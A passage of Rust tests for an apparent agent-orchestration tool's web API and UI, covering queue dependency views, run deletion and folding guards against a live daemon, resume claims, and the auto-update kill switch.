9990 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
9991 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
9992 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
9993 }
9994
9995 #[test]
9996 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
9997 let ids = vec![
9998 "20260902-140501-aaaa".to_owned(),
9999 "20260902-140502-aabb".to_owned(),
10000 ];
10001
10002 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
10003 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
10004 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
10005
10006 assert_eq!(missing.status, StatusCode::NOT_FOUND);
10007 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
10008 assert_eq!(short, "20260902-140502-aabb");
10009 }
10010 #[tokio::test]
10011 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
10012 let fx = Fixture::start().await;
10018 let id = panel(
10019 &fx,
10020 "<img src=\"shot.png\">",
10021 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
10022 );
10023
10024 let doc = fx
10026 .get(&format!("/api/questions/{id}/panel/index.html"))
10027 .await;
10028 assert_eq!(doc.status, 200, "{}", doc.body);
10029 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
10030
10031 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
10032 assert_eq!(sibling.status, 200, "{}", sibling.body);
10033 assert_eq!(sibling.header("content-type"), Some("image/png"));
10034 assert_eq!(
10035 sibling.header("content-security-policy"),
10036 Some(PANEL_CSP),
10037 "the sibling route must carry the same policy as the asset route"
10038 );
10039
10040 assert_eq!(
10043 fx.head(&format!("/api/questions/{id}/panel")).await.status,
10044 200
10045 );
10046 }
10047
10048 #[test]
10049 fn runs_revision_moves_when_deleting_an_older_run() {
10050 let temp = TempDir::new().expect("tempdir");
10051 let runs = temp.path().join("runs");
10052 std::fs::create_dir_all(&runs).expect("create runs dir");
10053
10054 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
10055
10056 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
10057 std::thread::sleep(Duration::from_millis(10));
10058 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
10059
10060 let rev_before = runs_revision(&runs);
10061 assert!(rev_before > 0);
10062
10063 let old_dir = runs.join("20260901-100000-old1");
10064 std::fs::remove_dir_all(&old_dir).expect("remove old run");
10065
10066 let rev_after = runs_revision(&runs);
10067 assert_ne!(
10068 rev_before, rev_after,
10069 "deleting an older run must change the revision so other clients see the deletion"
10070 );
10071 }
10072
10073 fn write_state(runs: &FsPath, state: &RunState) {
10078 let dir = runs.join(&state.id);
10079 std::fs::create_dir_all(&dir).expect("run dir");
10080 std::fs::write(
10081 dir.join("run.json"),
10082 serde_json::to_string_pretty(state).expect("serialize run"),
10083 )
10084 .expect("write run.json");
10085 }
10086
10087 #[test]
10092 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
10093 let temp = TempDir::new().expect("tempdir");
10094 let runs = temp.path().join("runs");
10095 std::fs::create_dir_all(&runs).expect("create runs dir");
10096 let mut state = RunState::new(
10097 PathBuf::from("/repo/magi"),
10098 "main".to_owned(),
10099 "0123456789abcdef".to_owned(),
10100 "task".to_owned(),
10101 Config::default(),
10102 );
10103 state.id = "20260902-100000-c0de".to_owned();
10104 write_state(&runs, &state);
10105
10106 let rev_idle = runs_revision(&runs);
10107 std::thread::sleep(Duration::from_millis(10));
10108 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
10109 write_state(&runs, &state);
10110 let rev_started = runs_revision(&runs);
10111 assert_ne!(
10112 rev_idle, rev_started,
10113 "a seat starting must move the revision"
10114 );
10115
10116 std::thread::sleep(Duration::from_millis(10));
10117 state.seat_finished("judge-1");
10118 write_state(&runs, &state);
10119 let rev_finished = runs_revision(&runs);
10120 assert_ne!(
10121 rev_started, rev_finished,
10122 "and clearing it again must move the revision a second time"
10123 );
10124 }
10125
10126 #[tokio::test]
10127 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
10128 let fx = Fixture::start().await;
10133 let q = fx.queue();
10134
10135 let mut t = Task::new(
10136 "Task".to_owned(),
10137 "Instruction".to_owned(),
10138 PathBuf::from("/repo"),
10139 Source::Human,
10140 );
10141 t.block(
10142 vec!["20260101-000000-dead".to_owned()],
10143 Some("waiting on Task 1".to_owned()),
10144 );
10145 t.answers.push(crate::queue::AnsweredQuestion {
10146 question: "Which backend?".to_owned(),
10147 answer: "SQLite".to_owned(),
10148 });
10149 q.put(&mut t).expect("put t");
10150
10151 let res = fx.get("/api/queue").await;
10152 assert_eq!(res.status, 200);
10153 let list = res.json();
10154 let view = list
10155 .as_array()
10156 .expect("array")
10157 .iter()
10158 .find(|v| v["id"] == t.id)
10159 .expect("task in list");
10160 assert_eq!(view["status_str"], "blocked");
10161 assert_eq!(
10162 view["blocked_by"],
10163 serde_json::json!(["20260101-000000-dead"])
10164 );
10165 assert_eq!(view["block_reason"], "waiting on Task 1");
10166 assert_eq!(view["answers"][0]["question"], "Which backend?");
10167 assert_eq!(view["answers"][0]["answer"], "SQLite");
10168
10169 let res = fx
10173 .post(&format!("/api/queue/{}/hold", t.short()), None)
10174 .await;
10175 assert_eq!(res.status, 200);
10176 let held = res.json();
10177 assert_eq!(held["status_str"], "held");
10178 assert_eq!(held["blocked_by"], serde_json::json!([]));
10179 assert!(held["block_reason"].is_null());
10180 assert_eq!(held["answers"][0]["answer"], "SQLite");
10181 }
10182
10183 #[tokio::test]
10184 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
10185 let fx = Fixture::start().await;
10186 let q = fx.queue();
10187 let mk = |title: &str| {
10188 Task::new(
10189 title.to_owned(),
10190 "Instruction".to_owned(),
10191 PathBuf::from("/repo"),
10192 Source::Human,
10193 )
10194 };
10195 let mut root = mk("root");
10196 root.hold_manual(Some("waiting".to_owned()));
10197 q.put(&mut root).unwrap();
10198 let mut mid = mk("mid");
10199 mid.block(vec![root.id.clone()], None);
10200 q.put(&mut mid).unwrap();
10201 let mut leaf = mk("leaf");
10202 leaf.block(vec![mid.id.clone()], None);
10203 q.put(&mut leaf).unwrap();
10204
10205 let list = fx.get("/api/queue").await.json();
10206 let find = |id: &str| {
10207 list.as_array()
10208 .unwrap()
10209 .iter()
10210 .find(|v| v["id"] == id)
10211 .unwrap()
10212 .clone()
10213 };
10214 let leaf_view = find(&leaf.id);
10215 assert_eq!(
10216 leaf_view["waits_on"],
10217 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
10218 );
10219 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
10220 assert_eq!(
10221 find(&mid.id)["waits_on"],
10222 serde_json::json!([format!("{} (held)", root.short())])
10223 );
10224 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
10225 }
10226
10227 #[tokio::test]
10228 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
10229 let fx = Fixture::start().await;
10230 let q = fx.queue();
10231
10232 let mut t1 = Task::new(
10234 "Task 1".to_owned(),
10235 "Instruction 1".to_owned(),
10236 PathBuf::from("/repo"),
10237 Source::Human,
10238 );
10239 let run_id = "20260901-000000-r111";
10240 t1.runs.push(run_id.to_owned());
10241 write_run(&fx.runs(), run_id, RunStatus::Merged);
10242 q.put(&mut t1).expect("put t1");
10243
10244 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
10246 assert_eq!(res.status, 204);
10247 assert!(res.body.is_empty(), "204 No Content has no body");
10248 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
10249 assert!(
10250 fx.runs().join(run_id).exists(),
10251 "run directory must not be deleted when its task is deleted"
10252 );
10253
10254 let mut t2 = Task::new(
10256 "Task 2".to_owned(),
10257 "Instruction 2".to_owned(),
10258 PathBuf::from("/repo"),
10259 Source::Human,
10260 );
10261 t2.status = TaskStatus::Running;
10262 q.put(&mut t2).expect("put t2");
10263 let mut beat = crate::daemon::Status::new();
10264 beat.current = vec![crate::daemon::Current {
10265 task: t2.id.clone(),
10266 run: "20260901-000000-r222".to_owned(),
10267 }];
10268 beat.updated_at = jiff::Timestamp::now();
10269 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10270 .expect("publish a heartbeat");
10271 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
10272 assert_eq!(res.status, 409);
10273 assert!(
10274 res.json()["error"]
10275 .as_str()
10276 .unwrap()
10277 .contains("live daemon")
10278 );
10279 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
10280
10281 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
10287 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10288 .expect("leave a stale heartbeat");
10289 let mut t3 = Task::new(
10290 "Task 3".to_owned(),
10291 "Instruction 3".to_owned(),
10292 PathBuf::from("/repo"),
10293 Source::Human,
10294 );
10295 t3.status = TaskStatus::Running;
10296 q.put(&mut t3).expect("put t3");
10297 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
10298 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
10299 assert_eq!(res.status, 204);
10300 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
10301 assert!(
10302 q.claim(&t3.id).is_ok(),
10303 "the stale lock went with it, so the id is claimable again"
10304 );
10305
10306 let res = fx.delete("/api/queue/nonexistent").await;
10308 assert_eq!(res.status, 404);
10309 }
10310
10311 #[tokio::test]
10312 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
10313 let fx = Fixture::start().await;
10314 let runs = fx.runs();
10315
10316 let run_id = "20260901-000000-fold";
10318 let mut state = RunState::new(
10319 PathBuf::from("/repo"),
10320 "main".to_owned(),
10321 "abc".to_owned(),
10322 "instruction".to_owned(),
10323 Config::default(),
10324 );
10325 state.id = run_id.to_owned();
10326 state.status = RunStatus::Merged;
10327 state.candidates.push(crate::run::Candidate {
10328 index: 0,
10329 label: 'A',
10330 agent: "a".to_owned(),
10331 branch: "b".to_owned(),
10332 worktree: PathBuf::from("/w"),
10333 summary: String::new(),
10334 stat: String::new(),
10335 files: 1,
10336 commits: 1,
10337 empty: false,
10338 failed: None,
10339 verified_noop: None,
10340 duration_ms: 0,
10341 folded: true,
10342 });
10343 let dir = runs.join(run_id);
10344 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
10345 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
10346 .expect("write artifact");
10347 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
10348 .expect("write run.json");
10349
10350 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
10352 assert_eq!(res.status, 204);
10353 assert!(res.body.is_empty(), "204 has no body");
10354 assert!(!dir.exists(), "run directory and artifacts must be deleted");
10355
10356 let run_running = "20260901-000000-rung";
10361 write_run(&runs, run_running, RunStatus::Prep);
10362 let mut beat = crate::daemon::Status::new();
10363 beat.current = vec![crate::daemon::Current {
10364 task: "20260901-000000-task".to_owned(),
10365 run: run_running.to_owned(),
10366 }];
10367 beat.updated_at = jiff::Timestamp::now();
10368 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10369 .expect("publish a heartbeat");
10370 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
10371 assert_eq!(res.status, 409);
10372 assert!(
10373 res.json()["error"]
10374 .as_str()
10375 .unwrap()
10376 .contains("live daemon"),
10377 "the refusal must say who is holding it"
10378 );
10379 assert!(
10380 runs.join(run_running).exists(),
10381 "a run in flight keeps its directory"
10382 );
10383
10384 let run_unfolded = "20260901-000000-unfd";
10386 let mut state2 = RunState::new(
10387 PathBuf::from("/repo"),
10388 "main".to_owned(),
10389 "abc".to_owned(),
10390 "instruction".to_owned(),
10391 Config::default(),
10392 );
10393 state2.id = run_unfolded.to_owned();
10394 state2.status = RunStatus::Ready;
10395 state2.candidates.push(crate::run::Candidate {
10396 index: 0,
10397 label: 'A',
10398 agent: "a".to_owned(),
10399 branch: "b".to_owned(),
10400 worktree: PathBuf::from("/w"),
10401 summary: String::new(),
10402 stat: String::new(),
10403 files: 1,
10404 commits: 1,
10405 empty: false,
10406 failed: None,
10407 verified_noop: None,
10408 duration_ms: 0,
10409 folded: false,
10410 });
10411 let dir2 = runs.join(run_unfolded);
10412 std::fs::create_dir_all(&dir2).expect("create dir2");
10413 std::fs::write(
10414 dir2.join("run.json"),
10415 serde_json::to_string(&state2).unwrap(),
10416 )
10417 .expect("write run.json");
10418
10419 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
10420 assert_eq!(res.status, 409);
10421 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
10422 assert!(dir2.exists(), "unfolded run directory is kept");
10423
10424 let res = fx.delete("/api/runs/nonexistent").await;
10426 assert_eq!(res.status, 404);
10427 }
10428
10429 #[test]
10438 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
10439 let start = APP_JS
10440 .find("function renderStats() {")
10441 .expect("renderStats");
10442 let end = start
10443 + APP_JS[start..]
10444 .find("function statsTile(")
10445 .expect("the next top-level function");
10446 let body = &APP_JS[start..end];
10447
10448 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
10449 let gate_end = gate_start
10450 + body[gate_start..]
10451 .find("}\n renderStatsQueue")
10452 .expect("the gate's own closing brace, right before the unconditional call");
10453 let gated = &body[gate_start..gate_end];
10454
10455 assert_eq!(
10456 body.matches("renderStatsQueue(").count(),
10457 1,
10458 "renderStats must call renderStatsQueue exactly once: {body}"
10459 );
10460 assert!(
10461 !gated.contains("renderStatsQueue"),
10462 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
10463 run-derived panels on an empty run history - the queue panel has to render \
10464 regardless: {gated}"
10465 );
10466 }
10467
10468 #[test]
10469 fn web_ui_delete_contract_in_front_end() {
10470 assert!(APP_JS.contains("deleteRun:"));
10472 assert!(APP_JS.contains("deleteTask:"));
10473
10474 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
10476 ..APP_JS.find("function renderRuns").unwrap()];
10477 assert!(!run_cards_slice.to_lowercase().contains("delete"));
10478
10479 assert!(APP_JS.contains("renderRunDelete"));
10481 assert!(APP_JS.contains("runDeleteReason"));
10482 assert!(APP_JS.contains("magi fold"));
10483 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
10484
10485 assert!(APP_JS.contains("cancel.focus"));
10487 assert!(APP_JS.contains("armedRunDelete"));
10488 assert!(APP_JS.contains("armedDelete"));
10489
10490 assert!(APP_JS.contains("disabled: status === \"running\""));
10492 }
10493
10494 #[test]
10514 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
10515 let build = APP_JS
10516 .find("function createRunCard")
10517 .expect("createRunCard exists");
10518 let update = APP_JS
10519 .find("function updateRunCard")
10520 .expect("updateRunCard exists");
10521 let end = APP_JS
10522 .find("function renderRuns")
10523 .expect("renderRuns exists");
10524
10525 let builder = &APP_JS[build..update];
10527 let open = builder.find("refs = {").expect("createRunCard sets refs");
10528 let literal = &builder[open + "refs = {".len()..];
10529 let close = literal.find('}').expect("the refs literal is closed");
10530 let published: HashSet<&str> = literal[..close]
10531 .split(',')
10532 .filter_map(|entry| entry.split(':').next())
10534 .map(str::trim)
10535 .filter(|name| !name.is_empty())
10536 .collect();
10537 assert!(
10538 published.len() > 5,
10539 "the refs literal did not parse into names: {published:?}"
10540 );
10541
10542 let mut used: Vec<&str> = Vec::new();
10545 let updaters = &APP_JS[update..end];
10546 for (at, _) in updaters.match_indices("r.") {
10547 let before = updaters[..at].chars().next_back();
10550 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
10551 continue;
10552 }
10553 let rest = &updaters[at + 2..];
10554 let len = rest
10555 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
10556 .unwrap_or(rest.len());
10557 if len > 0 {
10558 used.push(&rest[..len]);
10559 }
10560 }
10561 assert!(
10562 used.len() > 5,
10563 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
10564 );
10565
10566 let missing: Vec<&str> = used
10567 .iter()
10568 .copied()
10569 .filter(|name| !published.contains(name))
10570 .collect();
10571 assert!(
10572 missing.is_empty(),
10573 "a run card's updater reaches for {missing:?}, which `createRunCard` \
10574 never put in `refs` - every card will throw and the list will \
10575 render empty under a count line that says otherwise. Published: \
10576 {published:?}"
10577 );
10578 }
10579
10580 #[tokio::test]
10581 async fn folding_from_the_phone_reports_what_it_removed() {
10582 let fx = Fixture::start().await;
10583 let runs = fx.runs();
10584
10585 let id = "20260901-000000-fold";
10589 write_run(&runs, id, RunStatus::Stalled);
10590 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10591 assert_eq!(res.status, 200);
10592 assert_eq!(res.json()["removed_count"], 0);
10593 assert_eq!(res.json()["run"], id);
10594 assert!(
10595 runs.join(id).exists(),
10596 "a fold keeps the run's record; only the worktrees go"
10597 );
10598 }
10599
10600 #[tokio::test]
10601 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
10602 let fx = Fixture::start().await;
10603 let runs = fx.runs();
10604 let wt = fx.home.path().join("wt").join("magi").join("dead");
10605 let id = "20260901-000000-dead";
10606 std::fs::create_dir_all(runs.join(id)).expect("run dir");
10607 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10608 std::fs::create_dir_all(&wt).expect("worktree dir");
10609
10610 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10611 assert_eq!(res.status, 200, "{}", res.body);
10612 assert!(
10613 res.json()["removed_count"].as_u64().unwrap() > 0,
10614 "the worktree this build could not read a state for still went"
10615 );
10616 assert!(
10617 !runs.join(id).exists(),
10618 "an unreadable run has no candidate list to fold selectively, so \
10619 the whole record goes - same as `magi fold` on the CLI"
10620 );
10621 }
10622
10623 #[tokio::test]
10624 async fn deleting_an_unreadable_run_removes_it_wholesale() {
10625 let fx = Fixture::start().await;
10626 let runs = fx.runs();
10627 let wt = fx.home.path().join("wt").join("magi").join("gone");
10628 let id = "20260901-000000-gone";
10629 std::fs::create_dir_all(runs.join(id)).expect("run dir");
10630 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
10631 std::fs::create_dir_all(&wt).expect("worktree dir");
10632
10633 let res = fx.delete(&format!("/api/runs/{id}")).await;
10634 assert_eq!(res.status, 204, "{}", res.body);
10635 assert!(!runs.join(id).exists(), "the broken record is gone");
10636 assert!(!wt.exists(), "its worktree is gone too");
10637 }
10638
10639 #[tokio::test]
10640 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
10641 let fx = Fixture::start().await;
10642 let runs = fx.runs();
10643 let id = "20260901-000000-live";
10644 write_run(&runs, id, RunStatus::Implementing);
10645
10646 let mut beat = crate::daemon::Status::new();
10647 beat.current = vec![crate::daemon::Current {
10648 task: "20260901-000000-task".to_owned(),
10649 run: id.to_owned(),
10650 }];
10651 beat.updated_at = jiff::Timestamp::now();
10652 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10653 .expect("publish a heartbeat");
10654
10655 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
10656 assert_eq!(res.status, 409);
10657 assert!(
10658 res.json()["error"]
10659 .as_str()
10660 .unwrap()
10661 .contains("live daemon"),
10662 "folding under a running agent would pull its worktree away"
10663 );
10664 }
10665
10666 #[tokio::test]
10667 async fn fold_merged_requires_a_pr_url() {
10668 let fx = Fixture::start().await;
10669 let runs = fx.runs();
10670 let id = "20260901-000000-nourl";
10671 write_run(&runs, id, RunStatus::Blocked);
10672
10673 let res = fx
10674 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
10675 .await;
10676 assert_eq!(res.status, 400, "{}", res.body);
10677
10678 let blank = fx
10679 .post(
10680 &format!("/api/runs/{id}/fold-merged"),
10681 Some(r#"{"pr_url":" "}"#),
10682 )
10683 .await;
10684 assert_eq!(blank.status, 400, "{}", blank.body);
10685 }
10686
10687 #[tokio::test]
10688 async fn fold_merged_is_404_for_an_unknown_run() {
10689 let fx = Fixture::start().await;
10690 let res = fx
10691 .post(
10692 "/api/runs/nosuchrun/fold-merged",
10693 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10694 )
10695 .await;
10696 assert_eq!(res.status, 404, "{}", res.body);
10697 }
10698
10699 #[tokio::test]
10700 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
10701 let fx = Fixture::start().await;
10702 let runs = fx.runs();
10703 let id = "20260901-000000-livemerge";
10704 write_run(&runs, id, RunStatus::Blocked);
10705
10706 let mut beat = crate::daemon::Status::new();
10707 beat.current = vec![crate::daemon::Current {
10708 task: "20260901-000000-task".to_owned(),
10709 run: id.to_owned(),
10710 }];
10711 beat.updated_at = jiff::Timestamp::now();
10712 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10713 .expect("publish a heartbeat");
10714
10715 let res = fx
10716 .post(
10717 &format!("/api/runs/{id}/fold-merged"),
10718 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10719 )
10720 .await;
10721 assert_eq!(res.status, 409, "{}", res.body);
10722 assert!(
10723 res.json()["error"]
10724 .as_str()
10725 .unwrap()
10726 .contains("live daemon"),
10727 "correcting a run's merge underneath a running agent would race \
10728 whatever it is doing to the same `status`/`merge` fields"
10729 );
10730 }
10731
10732 #[tokio::test]
10737 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
10738 let fx = Fixture::start().await;
10739 let runs = fx.runs();
10740 let id = "20260901-000000-unconfirmed";
10741 write_run(&runs, id, RunStatus::Blocked);
10742
10743 let res = fx
10744 .post(
10745 &format!("/api/runs/{id}/fold-merged"),
10746 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
10747 )
10748 .await;
10749 assert_eq!(res.status, 400, "{}", res.body);
10750 assert_eq!(
10751 read_run(&runs, id).unwrap().status,
10752 RunStatus::Blocked,
10753 "a pull request that could not be confirmed merged must leave \
10754 the run exactly where it was"
10755 );
10756 }
10757
10758 #[tokio::test]
10759 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
10760 let fx = Fixture::start().await;
10761 let runs = fx.runs();
10762
10763 for (status, word) in [
10769 (RunStatus::Merged, "merged"),
10770 (RunStatus::Ready, "ready"),
10771 (RunStatus::Failed, "failed"),
10772 ] {
10773 let id = format!("20260901-000000-{}", &word[..4]);
10774 write_run(&runs, &id, status);
10775 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
10776 assert_eq!(res.status, 409, "{word} must not be resumable");
10777 let err = res.json()["error"].as_str().unwrap().to_owned();
10778 assert!(err.contains(word), "the refusal names the status: {err}");
10779 }
10780
10781 let mid = "20260901-000000-midf";
10786 write_run(&runs, mid, RunStatus::Reviewing);
10787 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
10788 assert_eq!(res.status, 202, "an interrupted run is resumable");
10789 }
10790
10791 #[tokio::test]
10792 async fn resume_is_refused_while_the_loop_is_running() {
10793 let fx = Fixture::start().await;
10794 let runs = fx.runs();
10795 let stalled = "20260901-000000-stal";
10796 write_run(&runs, stalled, RunStatus::Stalled);
10797
10798 let mut beat = crate::daemon::Status::new();
10802 beat.current = vec![crate::daemon::Current {
10803 task: "20260901-000000-task".to_owned(),
10804 run: "20260901-000000-othr".to_owned(),
10805 }];
10806 beat.updated_at = jiff::Timestamp::now();
10807 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10808 .expect("publish a heartbeat");
10809
10810 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
10811 assert_eq!(res.status, 409);
10812 let err = res.json()["error"].as_str().unwrap().to_owned();
10813 assert!(err.contains("othr"), "it names what the loop is on: {err}");
10814 assert!(err.contains("stop it first"), "{err}");
10815 }
10816
10817 #[test]
10818 fn a_run_cannot_be_resumed_twice_at_once() {
10819 let home = TempDir::new().expect("temp home");
10820 let ui = Ui::new(
10821 Queue::at(home.path().join("queue")),
10822 Questions::at(home.path().join("questions")),
10823 Talks::at(home.path().join("talks")),
10824 home.path().join("runs"),
10825 home.path().to_path_buf(),
10826 PathBuf::from("/repo"),
10827 )
10828 .with_worktrees_root(home.path().join("wt"));
10829 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
10830 let again = ui.begin_resume("20260901-000000-once");
10831 assert!(again.is_err(), "a second tap must not start a second graph");
10832 drop(first);
10833 assert!(
10834 ui.begin_resume("20260901-000000-once").is_ok(),
10835 "and the claim is released when the attempt ends"
10836 );
10837 }
10838
10839 #[test]
10840 fn talk_thinking_tracks_only_its_held_turn_claim() {
10841 let home = TempDir::new().expect("temp home");
10842 let ui = Ui::new(
10843 Queue::at(home.path().join("queue")),
10844 Questions::at(home.path().join("questions")),
10845 Talks::at(home.path().join("talks")),
10846 home.path().join("runs"),
10847 home.path().to_path_buf(),
10848 PathBuf::from("/repo"),
10849 )
10850 .with_worktrees_root(home.path().join("wt"));
10851 let id = "20260901-000000-once";
10852
10853 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
10854 let turn = ui.begin_talk_turn(id).expect("claim turn");
10855 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
10856 assert!(
10857 !ui.is_thinking("20260901-000000-other"),
10858 "one talk's turn does not make another talk busy"
10859 );
10860 drop(turn);
10861 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
10862 }
10863
10864 #[tokio::test]
10865 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
10866 let fx = Fixture::start().await;
10867 let mut beat = crate::daemon::Status::new();
10871 beat.pid = 4321;
10872 beat.updated_at = jiff::Timestamp::now();
10873 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
10874 .expect("publish a heartbeat");
10875
10876 let res = fx.post("/api/upgrade", None).await;
10877 assert_eq!(res.status, 409);
10878 let err = res.json()["error"].as_str().unwrap().to_owned();
10879 assert!(err.contains("4321"), "the refusal names the owner: {err}");
10880 assert!(err.contains("old one against the same queue"), "{err}");
10881 }
10882
10883 #[test]
10890 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
10891 assert!(!should_spawn_recheck(&crate::config::Update {
10892 mode: UpdateMode::Off,
10893 interval: None,
10894 }));
10895
10896 unsafe {
10899 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
10900 }
10901 let killed = should_spawn_recheck(&crate::config::Update {
10902 mode: UpdateMode::Notify,
10903 interval: None,
10904 });
10905 unsafe {
10906 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
10907 }
10908 assert!(
10909 !killed,
10910 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
10911 one-time startup check"
10912 );
10913
10914 assert!(should_spawn_recheck(&crate::config::Update {
10915 mode: UpdateMode::Notify,
10916 interval: None,
10917 }));
10918 }
10919
10920 #[test]
10926 fn recheck_poll_period_tracks_a_short_configured_interval() {
10927 let short = crate::config::Update {
10928 mode: UpdateMode::Notify,
10929 interval: Some("1m".to_owned()),
10930 };
10931 let period = recheck_poll_period(&short);
10932 assert!(
10933 period <= Duration::from_secs(30),
10934 "a one-minute interval must wake the task far sooner than the \
10935 default ceiling, or the deck would not notice within the \
10936 interval the operator configured: got {period:?}"
10937 );
10938
10939 let default = crate::config::Update {
10940 mode: UpdateMode::Notify,
10941 interval: None,
10942 };
10943 assert_eq!(
10944 recheck_poll_period(&default),
10945 UPDATE_RECHECK_POLL_MAX,
10946 "the default day-long interval should poll at the (capped) \
10947 ceiling rather than needlessly often"
10948 );
10949 }
10950
10951 #[test]
10959 fn recheck_skips_the_network_before_the_interval_elapses() {
10960 let dir = TempDir::new().expect("temp dir");
10961 let path = dir.path().join("state.json");
10962 let state = kaishin::UpdateCheckState {
10963 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
10964 last_known_latest: None,
10965 last_known_url: None,
10966 };
10967 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
10968
10969 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
10970 assert!(
10971 !update_recheck_due(&checker, None),
10972 "a check made moments ago must not be repeated before the \
10973 configured interval elapses"
10974 );
10975 }
10976
10977 #[test]
10983 fn recheck_defers_to_an_upgrade_already_in_flight() {
10984 let dir = TempDir::new().expect("temp dir");
10985 let path = dir.path().join("state.json");
10986 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
10987 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
10988
10989 assert!(
10990 !update_recheck_due(&checker, Some(&progress)),
10991 "a recheck must not run while an upgrade this deck started is \
10992 still moving"
10993 );
10994 }
10995
10996 #[tokio::test]
10997 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
10998 unsafe {
11010 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
11011 }
11012 let fx = Fixture::start().await;
11013 let res = fx.post("/api/upgrade", None).await;
11014 unsafe {
11015 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
11016 }
11017 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
11018 let body = res.json();
11019 assert!(body["to"].is_null(), "there was no release to move to");
11020 assert!(body["parked"].is_null(), "and nothing was parked");
11021 assert!(
11022 body["detail"]
11023 .as_str()
11024 .unwrap()
11025 .contains("disabled by MAGI_NO_AUTOUPDATE"),
11026 "{body:?}"
11027 );
11028 }
11029
11030 #[tokio::test]
11031 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
